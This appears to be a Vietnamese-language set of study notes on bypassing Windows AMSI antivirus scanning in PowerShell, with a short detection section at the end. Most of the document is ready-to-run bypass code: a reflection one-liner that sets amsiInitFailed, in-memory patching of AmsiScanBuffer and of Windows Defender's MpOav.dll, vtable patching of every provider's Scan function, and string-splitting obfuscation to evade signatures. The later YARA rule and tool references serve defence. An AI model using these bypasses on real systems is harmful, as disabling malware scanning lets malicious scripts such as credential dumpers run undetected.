# AMSI Bypass PowerShell
AMSI (**A**nti**M**alware **S**can **I**nterface) cho phép các ứng dụng kết hợp với các sản phẩm antimalware thông qua các hàm API được Windows cung cấp từ `amsi.dll`. Nói cách khác, AMSI cho phép ứng dụng (consumer) gửi nội dung cần scan tới AV (Provider). AMSI nhận diện dựa trên dấu hiệu (signature-based detection). Bất kỳ keyword độc hại nào: URL, tên hàm,... trong database của nó, sẽ bị AMSI block.
- Một số consumers và providers
| Consumer | [Providers](https://github.com/subat0mik/whoamsi)|
| -------- | -------- |
| PowerShell(>2.0)</br>JavaScript</br>VBScript</br>VBA (office macro)</br>WMI</br>UAC(User account control) elevations</br>Excel 4.0 macros</br>Volume shadow copy operations</br>.Net in-memory assembly loads | Avast </br>AVG </br>Fortinet </br>MalwareBytes </br>Kaspersky Anti Targeted Attack Platform|

> Nội dung sẽ được chuyển tiếp cho **AV(providers) class**. Từ đây, AV service sử dụng RPC call. Nếu input là đáng ngờ, nó sẽ bị block bởi AMSI.

## Amsi internal:
```c=
HRESULT AmsiInitialize(LPCWSTR appName, _HAMSICONTEXT* amsiContext){
LPVOID* ppv = 0;
_HAMSICONTEXT* ctx = (_HAMSICONTEXT)CoTaskMemAlloc(sizeof(_HAMSICONTEXT));
ctx->Signature = "AMSI";
ctx->AppName = (PWCHAR)CoTaskMemAlloc(nameLen);
memcpy(ctx->AppName, appName, name);
// COM create instance
DllGetClassObject(CLSID_Antimalware, CLSID_IClassFactory, &ppv);
ppv->CreateInstance(0, CLSID_IAntimalware, &ctx->Antimalware);
ctx->Session = _rand();
*amsiContext = (HAMSICONTEXT)ctx;
}
```
- Sau khi ứng dụng muốn scan nội dung (thường được scan bởi 2 API `AmsiScanString` hay `AmsiScanBuffer`), `amsi.dll` sẽ được load và gọi hàm `AmsiInitialize`, `Amsicontext` để khởi tạo AMSI session, vs **Signature** luôn là chuỗi "AMSI", **AppName** là tên consumer/arg[0] và sessionCount là một số ngẫu nhiên.

- **Antimalware** là trường ta cần lưu ý vì đây là một **instance** của class **CAmsiAntimalware** (class này được duy trì bởi `amsi.dll` và implement interface **IAntimalware**) có method **Scan** (là hàm được gọi bên trong của API `AmsiScanBuffer`). Do **Scan** là method trong interface để mỗi provider/AV sẽ implement lại hàm này.
```csharp=
class CAmsiAntimalware{
...
Virtual CloseSession(unsigned __int64);
Virtual Scan(IAmsiStream*, AMSI_RESULT*, IAntimalwareProvider**);
}
```

## Amsi chain:
> Kẻ tấn công có thể sử dụng các hàm exported để tìm tới hàm cần thiết hay scan memory với code pattern của hàm cần tìm hoặc dynamic parse.
>
- 2 API ta quan tâm:
```c=
HRESULT AmsiInitialize(
[in] LPCWSTR appName,
[out] HAMSICONTEXT *amsiContext
);
HRESULT AmsiScanBuffer(
[in] HAMSICONTEXT amsiContext,
[in] PVOID buffer,
[in] ULONG length,
[in] LPCWSTR contentName,
[in, optional] HAMSISESSION amsiSession,
[out] AMSI_RESULT *result
);
```
- Quá trình gồm 3 thành phần:
> Consumer (PowerShell ...) -> amsi.dll (AmsiScanBuffer) -> provider
> Bằng việc break một trong các quá trình trên , ta có thể bypass AMSI.
> Phương pháp patch trong bộ nhớ là khả thì vì **amsi.dll** và **provider's Dll** đều được load vào cùng một vùng nhớ.
>
## 0. Powershell downgrade:
- AMSI chỉ hỗ trợ **PowerShell version 2.0 trở đi**. (ta có thể lợi dụng điều này để bypass)
```bash=
> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.19041.1682
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.19041.1682
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
> invoke-mimikatz
This script contains malicious content and has been blocked by your antivirus software.
> powershell -version 2
> invoke-mimikatz
```
## 1. break from consumer
> Phụ thuộc vào cách ứng dụng (consumer) sử dụng AMSI, tránh cho ứng dụng gọi `AmsiScanBuffer()`.
- Ở PowerShell, sử dụng hàm `ScanContent`, ta bypass bằng cách cho hàm trả về **AMSI_RESULT_NOT_DETECTED**
```c=
// implement in PowerShell:
// System.Managerment.AmsiUtils.ScanContent(string, string)
AMSI_RESULT ScanContent(string content, string sourceMetadata)
{
if(amsiInitFailed)
return AMSI_RESULT_NOT_DETECTED;
...
if(amsiContext == IntPtr.Zero)
{
hresult = Init();
if(!Utils.Succeeded(hresult))
{
amsiInitFailed = true; return AMSI_RESULT_NOT_DETECTED;
}
}
if(amsiSession == IntPtr.Zero)
{
hresult = AmsiOpenSession(amsiContext, ref amsiSession);
if(!Utils.Succeeded(hresult))
{
amsiInitFailed = true; return AMSI_RESULT_NOT_DETECTED;
}
}
}
```
```csharp=
// 1. consumer unhook
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($Null,$true)
// 2. forcing an error
// amsiContext & amsiSession
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
```
## 2. AMSI.DLL
### 2.1. amsi.dll code patching
```c=!
AMSI_RESULT amsi_RESULT = AMSI_RESULT_CLEAN;
hresult = AmsiScanBuffer(amsiContext, content, content.Length, sourceMetadata, amsiSession, ref amsi_RESULT);
if(!Utils.Succeeded(hresult))
res = AMSI_RESULT_NOT_DETECTED;
else
res = amsi_RESULT;
return res
```
- Ta sẽ patch lại code trong hàm `AmsiScanBuffer()` để hàm trả về **E_INVALIDARG**.
```cpp=
mov eax,0x80070057 //E_INVALIDARG
ret
```
- Một cách khác là set content.length từ thanh ghi **EDI** = 0
```cpp=
xor edi, edi
nop
```
```csharp=!
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
```
### 2.2 AMSICONTEXT structure patching
- AMSI context structure được khởi tạo bởi hàm `AmsiInitialize()`. Hàm `AmsiScanBuffer` sẽ validate các trường trong AMSI context, do đó ghi đè vào structure này sẽ làm hàm `AmsiScanBuffer` trả về **E_INVALIDARG** .
```c=!
HRESULT AmsiScanBuffer(...)
{
if(!amsiContext)
return E_INVALIDARG;
if(*(_DWORD *)amsiContext != 'ISMA')
return E_INVALIDARG;
appName = *((_DWORD *)amsiContext + 1);
if(!appName)
return E_INVALIDARG;
Antimalware = *((_DWORD *)amsiContext + 2);
if(!Antimalware)
return E_INVALIDARG;
}
```
```c#!
// overwrite amsiContext
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)
```
## 3. AMSI providers
- Khi caì vào máy, AV tạo số nhận dạng **GUID** (globla unique id) giống nhau tại `HKLM\Sofware\Classes\CLSID` và `HKLM\Software\Microsoft\AMSI\Providers`.


- COM class sẽ được khởi tạo bởi DLL ở `InProcServer32` subkey. Mỗi Provider cần tạo một **interface** (do là COM object - see in COM section below) `IAntimalwareProvider`
```csharp=
IAntimalwareProvider: public IUnknown
{
public:
virtual HRESULT Scan(IAmsiStream *stream, AMSI_RESULT *result);
virtual void CloseSession(ULONGLONG session);
virtual HRESULT DisplayName( _Out_ LPWSTR* displayName);
};
```
### 3.1. COM Server Hijacking
- phương pháp thay thế Dll của provider => dễ dàng bị phát hiện bởi registry monitoring.
### 3.2. AV/Provider patch:
- Patching (some first prologue bytes) provider's DLL (Ex: MpOav.dll của Window Defense) để trả về **E_INVALIDARG**. Từ đó can thiệp vào quá trình chaỵ của hàm `AmsiInitialize`.
- Vì `AmsiContext` đã được khởi tạo trước đó, ta cần **Un-initialize** để ép phải khởi tạo lại với kết quả ta đã patch . Ta gọi hàm này từ memory, vì mỗi consumer đều có hàm để thực hiện `AmsiUninitialize(amsiContext);`
```csharp!=
$APIs = @"
using System;
using System.Runtime.InteropServices;
public class APIs {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ekwiam, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $APIs
$wzys = "0xB8"
$coxo = "0x57"
$hxuu = "0x00"
$eqhh = "0x07"
$paej = "0x80"
$ppiy = "0xC3"
$Patch = [Byte[]] ($wzys,$coxo,$hxuu,$eqhh,+$paej,+$ppiy)
$LoadLibrary = [APIs]::LoadLibrary("MpOav.dll")
$Address = [APIs]::GetProcAddress($LoadLibrary,"DllGetClassObject")
$p = 0
[APIs]::VirtualProtect($Address, [uint32]6, 0x40, [ref]$p)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
# use reflection to find Uninitialize fucnt in memory and invoke it
$object = [Ref].Assembly.GetType('System.Ma'+'nag'+'eme'+'nt.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls')
$Uninitialize = $object.GetMethods('N'+'onPu'+'blic,st'+'at'+'ic') | Where-Object Name -eq Uninitialize
$Uninitialize.Invoke($object,$null)
```
### 3.3. Scanning interception:
```c=
HRESULT AmsiScanBuffer(_HAMSICONTEXT* amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName,
HAMSISESSION amsiSession, AMSI_RESULT* result)
{
if (!buffer || !length || !result || !amsiContext || amsiContext->Signature != ‘AMSI’ || !amsiContext->AppName || !amsiContext->Antimalware)
return E_INVALIDARG;
CAmsiBufferStream bufferStream = CAmsiBufferStream(buffer, length, amsiContext->AppName, contentName, amsiSession);
// CAmsiAntimalware::Scan
return Antimalware->Scan(amsiContext->Antimalware, &bufferStream, result, NULL);
}
```
- Ta sẽ patch các **::Scan** method của các AV trả về 0 `mov rax, 0; ret` hoặc `xor rax, rax; ret`. Vì
> const AMSI_RESULT_CLEAN 0
> const AMSI_RESULT_NOT_DETECTED 1
```csharp=
$Apis = @"
using System;
using System.Runtime.InteropServices;
public class Apis {
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("amsi")]
public static extern int AmsiInitialize(string appName, out Int64 context);
}
"@
Add-Type $Apis
$ret_zero = [byte[]] (0xb8, 0x0, 0x00, 0x00, 0x00, 0xC3)
$p = 0; $i = 0
$SIZE_OF_PTR = 8
[Int64]$ctx = 0
[Apis]::AmsiInitialize("MyScanner", [ref]$ctx)
$CAmsiAntimalware = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$ctx, 16)
$AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64)
# Loop through all the providers
while ($AntimalwareProvider -ne 0)
{
# Find the provider's Scan function
$AntimalwareProviderVtbl = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProvider)
$AmsiProviderScanFunc = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProviderVtbl, 24)
# Patch the Scan function
Write-host "[$i] Provider's scan function found!" $AmsiProviderScanFunc
[APIs]::VirtualProtect($AmsiProviderScanFunc, [uint32]6, 0x40, [ref]$p)
[System.Runtime.InteropServices.Marshal]::Copy($ret_zero, 0, [IntPtr]$AmsiProviderScanFunc, 6)
$i++
$AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64 + ($i*$SIZE_OF_PTR))
}
```
## [COM](https://learn.microsoft.com/en-us/windows/win32/com/com-technical-overview) (Component Object Model)
- COM độc lập với ngôn ngữ, hay các thư viện COM có thể được tạo ra bởi nhiều ngôn ngữ khác nhau, hướng đối tượng. COM làm cho những chức năng trong một object có thể được những components và chương trình khác sử dụng. Nói một cách dễ hiểu hơn thì COM là một giao diện (interface) đứng ở giữa (giống như một thông dich viên) để cho 2 components viết bằng 2 ngôn ngữ khác nhau có thể hiểu nhau.
- Các components khác có thể “thấy” và dùng những chức năng của COM object thông qua **interface**. Mỗi interface có một ID riêng của chúng là IID (IID là ‘Số nhận dạng duy nhất trên toàn cầu’ hoặc GUID, Ex: `{0000050B-0000-0010-8000-00AA006D2EA4}`).
- COM class được xác định bởi một mã định danh duy nhất 128 bit Class ID (CLSID), được dùng để tương tác giữa một class và file system (DLL or EXE). CLSID **không thay đổi giữa các máy Windows khác nhau**, đây cũng là điểm để mã độc lợi dụng.
- Các tập hàm được gọi là **interface**, các hàm trong một interface được gọi là các **method**. Cách **duy nhất** để truy cập/ gọi các method của COM là thông qua **interface**. Ex: lokibot sử dụng API `CoCreateInstance` để tạo instance.
- **InProcServer32** subkey là đường dẫn đến Dll chứa code và methods
- Ví dụ dưới đây sử dụng `wscript.shell` để bật calc.exe
. Sử dụng [COM view](https://www.japheth.de/Download/COMView.zip) để tìm CLSID và ProgID của class này.
```csharp=
// ====== Method 1 : ProcID
> $obj_instance = New-Object -ComObject WScript.shell.1
// ====== Method 2 : Class ID
// create instance of WScipt.shell.1 class
> $obj_instance = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("{72C24DD5-D70A-438B-8A42-98424B88AFB8}"))
// list all method in instance w getMethod
> $obj_instance | gm
TypeName: System.__ComObject#{41904400-be18-11d3-a28b-00104bd35090}
Name MemberType Definition
---- ---------- ----------
AppActivate Method bool AppActivate (Variant, Variant)
CreateShortcut Method IDispatch CreateShortcut (string)
Exec Method IWshExec Exec (string)
ExpandEnvironmentStrings Method string ExpandEnvironmentStrings (string)
LogEvent Method bool LogEvent (Variant, string, string)
Popup Method int Popup (string, Variant, Variant, Variant)
RegDelete Method void RegDelete (string)
RegRead Method Variant RegRead (string)
RegWrite Method void RegWrite (string, Variant, Variant)
Run Method int Run (string, Variant, Variant)
SendKeys Method void SendKeys (string, Variant)
Environment ParameterizedProperty IWshEnvironment Environment (Variant) {get}
CurrentDirectory Property string CurrentDirectory () {get} {set}
SpecialFolders Property IWshCollection SpecialFolders () {get}
// call method
> $obj_instance.Run("calc.exe")
```
## Add-Type replacement:
- sử dụng `add-type`, code sẽ được ghi vào temp file. Sau đó **csc.exe** sẽ compile code thành binary. Việc tạo file trên disk này sẽ bị AV phát hiện.
=> Reflection method
```csharp=
function Get-ProcAddress {
Param(
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VistualProtectDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VistualProtectDelegate)
```
- Sau khi resolve API cần thiết, ta có thể path lại AmsiScanBuffer như ví du ở trên.
```csharp
$hModule = $LoadLibrary.Invoke("amsi.dll")
$Addr = $GetProcAddress.invoke($hModule, "Amsi" + "Scan" + "Buffer")
$p = 0
$VirtualProtect.invoke($Addr, 5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Addr, 6)
```
# Detection:
- Ta có thế theo dõi có sự thay đổi quyền trên code section của `amsi.dll`.
## 1.Yara
- Sử dụng yara phát hiện chuỗi byte patch trong PowerShell process.
```cpp=
rule MemPatchingAMSI
{
meta:
description = "patch value for return INVALIDARG"
threat_level = 3
in_the_wild = true
strings:
$patch_val_32 = {B8 57 00 07 80 C3}
$patch_val_64 = {B8 57 00 07 80 C2 18 00}
condition:
($patch_val_32 or $patch_val_64)
}
```
## 2. [AMSIDetection tool](https://github.com/countercept/AMSIDetection)
- Đợi tiến trình powerShell được khởi động và liên tục kiểm tra tính toàn vẹn của .text section trong **amsi.dll** bằng hash md5.

## 3. [PESieve](https://github.com/hasherezade/pe-sieve)
- Pe-Sieve cho phép phát hiện hook và patch trong vùng nhớ của một process cụ thể.
```cpp=
// ket qua khi patch Provider's Dll của Windows Defender
{
"code_scan" : {
"module" : "7ffd58120000",
"module_size" : "44000",
"module_file" : "C:\\Program Files\\Windows Defender\\MpOAV.dll",
"status" : 1,
"scanned_sections" : 1,
"patches" : 1
}
}
```
## 4. Sysmon
Sysmon event ID **12** có thể log chỉnh sửa registry key (added or deleted) để phát hiện tấn công DLL hijacking (kiểu tấn công này dễ dàng bị phát hiện với AV ngày nay).
## 5. Hooking
Để biết các biến amsiInitFailed/amsiSession/amsiContext có bị sửa đổi ta có thể:
- hook vào hàm **SetValue**.
- hook vào hàm **AmsiUnInitialize**: phát hiện sự thay đổi của biến `amsiInitFailed` (từ False->True) mà không phải do AmsiUnInitialize().
## QA:
- ta đã biết cơ chế load Dll của Windows, khi copy loaded Dll cần dùng từ process khác vào process mới cần Dll đó. Vậy khi ta patch amsi.dll thì các process khác cũng sẽ dùng patched amsi.dll?
> Ans: Không, trước khi Dll bị patch/edit. Windows sẽ lấy một bản copy của vùng nhớ chứa loaded dll đó và đưa nó về **private page** với process đang patch dll. Do đó chỉ ảnh hưởng tới một process.
## refs
[blackhat2022: AMSI & Bypass](https://www.blackhat.com/asia-22/briefings/schedule/#amsi-unchained-review-of-known-amsi-bypass-techniques-and-introducing-a-new-one-2612)
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
[SANS Workshop - Reflection in C#](https://youtu.be/qeOCZGuVsi4)
[reflection .Net](https://web.archive.org/web/20190131232759/http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html)
[detection](https://pentestlaboratories.com/2021/06/01/threat-hunting-amsi-bypasses/)